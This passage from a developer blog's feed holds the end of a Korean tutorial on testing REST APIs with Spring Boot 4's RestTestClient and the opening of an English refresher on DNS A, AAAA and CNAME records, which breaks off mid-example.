&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;단순한 값 비교를 넘어, 컬렉션의 포함 여부, 문자열 패턴 매칭 등 복잡한 비즈니스 규칙 검증에 탁월합니다.&lt;/p&gt;

&lt;h2 id=&quot;jsonpath-활용&quot;&gt;JSONPath 활용&lt;/h2&gt;

&lt;p&gt;구조적인 JSON 데이터를 검증할 때, 객체로 매핑하지 않고 원본 JSON 구조를 직접 검사해야 할 때가 있습니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isOk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectBody&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;jsonPath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;$.title&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Spring Boot 4&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;jsonPath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;$.author.name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Expert&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;jsonPath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;$.tags[0]&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;spring&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$.store.book.title&lt;/code&gt;과 같은 경로 표현식을 사용하여 특정 필드의 존재 여부나 값을 검증합니다. 응답 스키마가 변경되었을 때 객체 매핑 에러 없이 유연하게 대처할 수 있습니다.&lt;/p&gt;

&lt;h2 id=&quot;jsonunit-정교한-json-비교&quot;&gt;JsonUnit: 정교한 JSON 비교&lt;/h2&gt;

&lt;p&gt;JSON 간의 비교가 필요한 경우, JsonUnit 라이브러리와 통합하여 엄격하거나 유연한 비교를 수행할 수 있습니다. 예를 들어, 배열의 순서를 무시하거나 특정 필드(ID, Timestamp)를 무시하고 비교하는 것이 가능합니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;spring-boot-4-생태계-변화&quot;&gt;Spring Boot 4 생태계 변화&lt;/h1&gt;

&lt;p&gt;Spring Boot 4의 새로운 기능들은 테스팅 환경에도 지대한 영향을 미칩니다.&lt;/p&gt;

&lt;h2 id=&quot;context-pausing-메모리-효율-혁신&quot;&gt;Context Pausing: 메모리 효율 혁신&lt;/h2&gt;

&lt;p&gt;Spring Framework 7의 가장 혁신적인 테스팅 기능 중 하나는 컨텍스트 캐싱 메커니즘의 개선입니다.&lt;/p&gt;

&lt;p&gt;기존에는 테스트 슈트가 실행되는 동안 로딩된 모든 ApplicationContext가 메모리에 상주하며, 백그라운드 스레드나 커넥션 풀을 점유하고 있었습니다. 이는 대규모 프로젝트에서 OOM(Out of Memory)을 유발하거나 테스트 속도를 저하시키는 원인이었습니다.&lt;/p&gt;

&lt;p&gt;Spring 7부터는 현재 실행 중이지 않은 테스트의 컨텍스트를 ‘일시 중지(Pause)’하고, 필요시 ‘재개(Resume)’합니다. 이는 RestTestClient를 사용하는 수많은 통합 테스트들이 서로 간섭 없이, 그리고 적은 리소스로 수행될 수 있음을 의미합니다.&lt;/p&gt;

&lt;h2 id=&quot;virtual-threads-블로킹-io의-혁명&quot;&gt;Virtual Threads: 블로킹 I/O의 혁명&lt;/h2&gt;

&lt;p&gt;Java 21의 가상 스레드는 블로킹 I/O 처리의 패러다임을 바꿨습니다. RestTestClient가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToServer&lt;/code&gt; 모드에서 동작할 때, 내부 RestClient는 가상 스레드 친화적인 방식으로 동작하도록 최적화되어 있습니다.&lt;/p&gt;

&lt;p&gt;이는 다수의 외부 API 호출을 포함하는 통합 테스트 시나리오에서 스레드 고갈 없이 높은 처리량을 낼 수 있게 하며, 테스트 실행 속도 단축에도 기여합니다.&lt;/p&gt;

&lt;h2 id=&quot;aot-컴파일-지원&quot;&gt;AOT 컴파일 지원&lt;/h2&gt;

&lt;p&gt;Spring Boot 4는 GraalVM 네이티브 이미지를 위한 AOT 지원을 강화했습니다. 테스팅 환경에서도 AOT 처리를 고려한 설정이 필요하며, RestTestClient는 이러한 AOT 모드에서도 문제없이 동작하도록 설계되어, 네이티브 이미지 호환성 테스트(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@DisabledInAotMode&lt;/code&gt; 등)를 용이하게 합니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;도구-비교-무엇을-선택할-것인가&quot;&gt;도구 비교: 무엇을 선택할 것인가?&lt;/h1&gt;

&lt;p&gt;프로젝트 성격에 따라 올바른 도구를 선택하는 것이 중요합니다.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;특성&lt;/th&gt;
      &lt;th&gt;RestTestClient&lt;/th&gt;
      &lt;th&gt;WebTestClient&lt;/th&gt;
      &lt;th&gt;MockMvc&lt;/th&gt;
      &lt;th&gt;TestRestTemplate&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;기반 스택&lt;/td&gt;
      &lt;td&gt;Servlet (Sync)&lt;/td&gt;
      &lt;td&gt;WebFlux (Async)&lt;/td&gt;
      &lt;td&gt;Servlet (Mock)&lt;/td&gt;
      &lt;td&gt;Servlet (Sync)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;API 스타일&lt;/td&gt;
      &lt;td&gt;Fluent (Builder)&lt;/td&gt;
      &lt;td&gt;Fluent (Builder)&lt;/td&gt;
      &lt;td&gt;Static Builder&lt;/td&gt;
      &lt;td&gt;Imperative&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Mock 지원&lt;/td&gt;
      &lt;td&gt;완벽 지원 (Delegate)&lt;/td&gt;
      &lt;td&gt;지원 (Adapter 필요)&lt;/td&gt;
      &lt;td&gt;Native&lt;/td&gt;
      &lt;td&gt;지원 안 함&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Live Server&lt;/td&gt;
      &lt;td&gt;완벽 지원&lt;/td&gt;
      &lt;td&gt;완벽 지원&lt;/td&gt;
      &lt;td&gt;지원 안 함&lt;/td&gt;
      &lt;td&gt;Native&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;리액티브 의존성&lt;/td&gt;
      &lt;td&gt;불필요&lt;/td&gt;
      &lt;td&gt;필수 (Reactor)&lt;/td&gt;
      &lt;td&gt;불필요&lt;/td&gt;
      &lt;td&gt;불필요&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;미래 전망&lt;/td&gt;
      &lt;td&gt;표준 (Standard)&lt;/td&gt;
      &lt;td&gt;표준 (Reactive)&lt;/td&gt;
      &lt;td&gt;백엔드 엔진화&lt;/td&gt;
      &lt;td&gt;Deprecated&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;시사점:&lt;/strong&gt; RestTestClient는 MockMvc와 TestRestTemplate의 장점을 모두 흡수하고 단점을 보완한 ‘완전체’에 가깝습니다. 특히 리액티브 의존성 없이 Fluent API를 사용할 수 있다는 점은 기존 Spring MVC 프로젝트들에게 가장 큰 매력 포인트입니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;전략적-제언&quot;&gt;전략적 제언&lt;/h1&gt;

&lt;p&gt;본 분석을 바탕으로 다음 전략을 제시합니다.&lt;/p&gt;

&lt;h2 id=&quot;1-신규-프로젝트-무조건-resttestclient&quot;&gt;1. 신규 프로젝트: 무조건 RestTestClient&lt;/h2&gt;

&lt;p&gt;Spring Boot 4 기반의 신규 프로젝트는 예외 없이 RestTestClient를 기본 테스팅 클라이언트로 채택해야 합니다. 단위 테스트(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToController&lt;/code&gt;)부터 E2E 테스트(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToServer&lt;/code&gt;)까지 단일 API로 통일함으로써 팀 내 기술 부채를 예방할 수 있습니다.&lt;/p&gt;

&lt;h2 id=&quot;2-기존-프로젝트-점진적-마이그레이션&quot;&gt;2. 기존 프로젝트: 점진적 마이그레이션&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@AutoConfigureTestRestTemplate&lt;/code&gt;을 활용하여 안정성을 유지하되, 신규 기능 개발 및 리팩토링 시점마다 RestTestClient로 전환하는 점진적 전략을 수립해야 합니다.&lt;/p&gt;

&lt;h2 id=&quot;3-바인딩-전략의-이원화&quot;&gt;3. 바인딩 전략의 이원화&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;속도가 중요한 CI 파이프라인의 PR 단계:&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToController&lt;/code&gt; 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToMockMvc&lt;/code&gt;를 주력으로 사용&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;배포 전 최종 검증 단계(Nightly Build):&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToServer&lt;/code&gt;를 활용한 E2E 테스트로 효율성과 신뢰성의 균형 확보&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;4-보안-테스트-강화&quot;&gt;4. 보안 테스트 강화&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToMockMvc&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityMockMvcConfigurers&lt;/code&gt;의 조합을 통해, 단순한 기능 구현 여부를 넘어 보안 필터 체인의 빈틈없는 검증을 자동화해야 합니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;마무리하며&quot;&gt;마무리하며&lt;/h1&gt;

&lt;p&gt;RestTestClient는 단순한 도구의 교체가 아닙니다. 테스트 코드를 ‘검증해야 할 대상’에서 ‘살아있는 문서’로 변화시키는 촉매제입니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;핵심 요약:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;통합된 인터페이스:&lt;/strong&gt; Mock과 Live Server를 단일 API로 처리&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Fluent API:&lt;/strong&gt; 선언적이고 가독성 높은 테스트 코드&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;바인딩 전략:&lt;/strong&gt; 시나리오에 맞는 실행 엔진 선택&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Spring Boot 4 최적화:&lt;/strong&gt; Context Pausing, Virtual Threads, AOT 지원&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;마이그레이션:&lt;/strong&gt; TestRestTemplate에서 점진적 전환&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;오랜만에 테스팅 코드를 작성하거나, Spring Boot 4 마이그레이션을 준비 중이라면 이 글을 북마크해두세요. 필요할 때 다시 읽어보면 도움이 될 겁니다! 🚀&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;부록-빠른-참조표&quot;&gt;부록: 빠른 참조표&lt;/h1&gt;

&lt;h2 id=&quot;주요-assertj-검증-패턴&quot;&gt;주요 AssertJ 검증 패턴&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;검증 대상&lt;/th&gt;
      &lt;th&gt;기존 방식 (TestRestTemplate + AssertJ)&lt;/th&gt;
      &lt;th&gt;권장 방식 (RestTestClient)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;상태 코드&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assertThat(resp.getStatusCode()).isEqualTo(HttpStatus.OK)&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.expectStatus().isOk()&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;헤더 존재&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assertThat(resp.getHeaders().containsKey(&quot;X-Token&quot;)).isTrue()&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.expectHeader().exists(&quot;X-Token&quot;)&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;JSON 필드&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assertThat(resp.getBody().get(&quot;name&quot;)).isEqualTo(&quot;Test&quot;)&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.expectBody().jsonPath(&quot;$.name&quot;).isEqualTo(&quot;Test&quot;)&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;객체 동등성&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assertThat(resp.getBody()).usingRecursiveComparison().isEqualTo(dto)&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.expectBody(Dto.class).isEqualTo(dto)&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;spring-boot-4-마이그레이션-체크리스트&quot;&gt;Spring Boot 4 마이그레이션 체크리스트&lt;/h2&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Java 버전이 17 이상인지 확인 (권장: Java 21 LTS)&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spring-boot-starter-parent&lt;/code&gt; 버전을 4.0.0 이상으로 변경&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spring-boot-resttestclient&lt;/code&gt; 의존성 추가 여부 확인 (필요 시)&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;기존 TestRestTemplate 테스트에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@AutoConfigureTestRestTemplate&lt;/code&gt; 추가&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javax.*&lt;/code&gt; 패키지 import를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jakarta.*&lt;/code&gt;로 일괄 변경 (Servlet 6.1, JPA 3.2 대응)&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;주요 통합 테스트 시나리오 하나를 선정하여 RestTestClient로 변환 후 성능 및 가독성 비교&lt;/li&gt;
&lt;/ul&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 14 Jan 2026 14:00:00 +0900</pubDate>
        <link>http://thecodinglog.github.io/spring/spring-boot/2026/01/14/springboot4-restapi-test.html</link>
        <guid isPermaLink="true">http://thecodinglog.github.io/spring/spring-boot/2026/01/14/springboot4-restapi-test.html</guid>
        
        <category>SpringBoot</category>
        
        <category>Spring-boot</category>
        
        <category>RESTAPI테스트</category>
        
        
        <category>Spring</category>
        
        <category>Spring-boot</category>
        
      </item>
    
      <item>
        <title>DNS Records - Your Memory Refresher Guide 🌐</title>
        <description>&lt;p&gt;Ever stared at your DNS settings panel and thought “Wait, what’s the difference between an A record and a CNAME again?” You’re definitely not alone. After a few weeks away from DNS configuration, all those record types start blending together. This guide will help you rebuild that mental model and understand what’s actually happening when you set up your domain.&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;

&lt;h1 id=&quot;whats-dns-anyway&quot;&gt;What’s DNS Anyway?&lt;/h1&gt;

&lt;p&gt;Think of DNS (Domain Name System) as the internet’s phonebook. When you type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt; into your browser, DNS translates that human-friendly name into an IP address like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192.0.2.1&lt;/code&gt; that computers actually understand.&lt;/p&gt;

&lt;p&gt;DNS records are the individual entries in this phonebook—each one contains specific information about how to handle requests for your domain.&lt;/p&gt;

&lt;h1 id=&quot;the-big-picture-record-types-at-a-glance&quot;&gt;The Big Picture: Record Types at a Glance&lt;/h1&gt;

&lt;p&gt;Before diving deep, here’s a quick reference table you’ll want to bookmark:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Record Type&lt;/th&gt;
      &lt;th&gt;Purpose&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;A&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Maps domain to IPv4 address&lt;/td&gt;
      &lt;td&gt;example.com → 123.123.123.123&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;AAAA&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Maps domain to IPv6 address&lt;/td&gt;
      &lt;td&gt;example.com → 2001:0db8:85a3::7334&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;CNAME&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Creates domain alias&lt;/td&gt;
      &lt;td&gt;www.example.com → example.com&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;NS&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Specifies authoritative nameservers&lt;/td&gt;
      &lt;td&gt;example.com → ns1.dnsprovider.com&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Now let’s break these down properly.&lt;/p&gt;

&lt;h1 id=&quot;a-record-the-foundation&quot;&gt;A Record: The Foundation&lt;/h1&gt;

&lt;p&gt;The A record (Address Record) is the most fundamental DNS record. It’s what actually connects your domain name to a server’s location.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What it does:&lt;/strong&gt; Maps a domain name directly to an IPv4 address&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why you need it:&lt;/strong&gt; This is how browsers find your website&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com    A    192.0.2.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When someone types &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt; into their browser, DNS looks up the A record and says “Ah, that’s at 192.0.2.1!” Then the browser connects to that IP address.&lt;/p&gt;

&lt;h3 id=&quot;real-world-scenario&quot;&gt;Real-World Scenario&lt;/h3&gt;

&lt;p&gt;Imagine you’re launching a new web application. You’ve got a server at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;203.0.113.10&lt;/code&gt; and you just registered &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;myapp.com&lt;/code&gt;. You create an A record:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myapp.com    A    203.0.113.10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now when users visit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;myapp.com&lt;/code&gt;, they’re connecting directly to your server. Simple, clean, effective.&lt;/p&gt;

&lt;h1 id=&quot;aaaa-record-the-ipv6-cousin&quot;&gt;AAAA Record: The IPv6 Cousin&lt;/h1&gt;

&lt;p&gt;The AAAA record (pronounced “quad-A”) is basically the A record’s modern sibling.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What it does:&lt;/strong&gt; Maps a domain name to an IPv6 address&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why it exists:&lt;/strong&gt; IPv4 addresses are running out. IPv6 solves this with a massive address space.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com    AAAA    2001:0db8:85a3:0000:0000:8a2e:0370:7334
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;a-vs-aaaa-the-quick-comparison&quot;&gt;A vs AAAA: The Quick Comparison&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Feature&lt;/th&gt;
      &lt;th&gt;A Record&lt;/th&gt;
      &lt;th&gt;AAAA Record&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;IP Version&lt;/td&gt;
      &lt;td&gt;IPv4 (32-bit)&lt;/td&gt;
      &lt;td&gt;IPv6 (128-bit)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Address Format&lt;/td&gt;
      &lt;td&gt;203.0.113.10&lt;/td&gt;
      &lt;td&gt;2001:db8::1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Address Space&lt;/td&gt;
      &lt;td&gt;~4.3 billion addresses&lt;/td&gt;
      &lt;td&gt;340 undecillion addresses (yeah, that’s a real number)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Current Usage&lt;/td&gt;
      &lt;td&gt;Universal&lt;/td&gt;
      &lt;td&gt;Growing rapidly&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;why-you-should-care-about-ipv6&quot;&gt;Why You Should Care About IPv6&lt;/h3&gt;

&lt;p&gt;Here’s the thing: IPv4 addresses ran out years ago. We’re currently using various workarounds (like NAT) to keep things running, but IPv6 is the future. Major platforms—Google, Facebook, Netflix—are already fully IPv6 enabled.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pro tip:&lt;/strong&gt; Run both A and AAAA records. Some networks and devices prefer IPv6, while others still rely on IPv4. Having both ensures maximum compatibility.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com    A       203.0.113.10
example.com    AAAA    2001:db8:85a3::1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;cname-record-the-alias-master&quot;&gt;CNAME Record: The Alias Master&lt;/h1&gt;

&lt;p&gt;CNAME (Canonical Name) records create aliases. Instead of pointing to an IP address, they point to another domain name.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What it does:&lt;/strong&gt; Creates an alias from one domain to another&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why you need it:&lt;/strong&gt; Avoid duplicate configuration and simplify management&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www.example.com    CNAME    example.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When someone visits &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www.example.com&lt;/code&gt;, DNS says “That’s actually just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt;” and then looks up the A record for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;when-cname-shines&quot;&gt;When CNAME Shines&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scenario 1: Subdomain Management&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You’re running multiple services under one domain:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www.example.com      CNAME    example.com
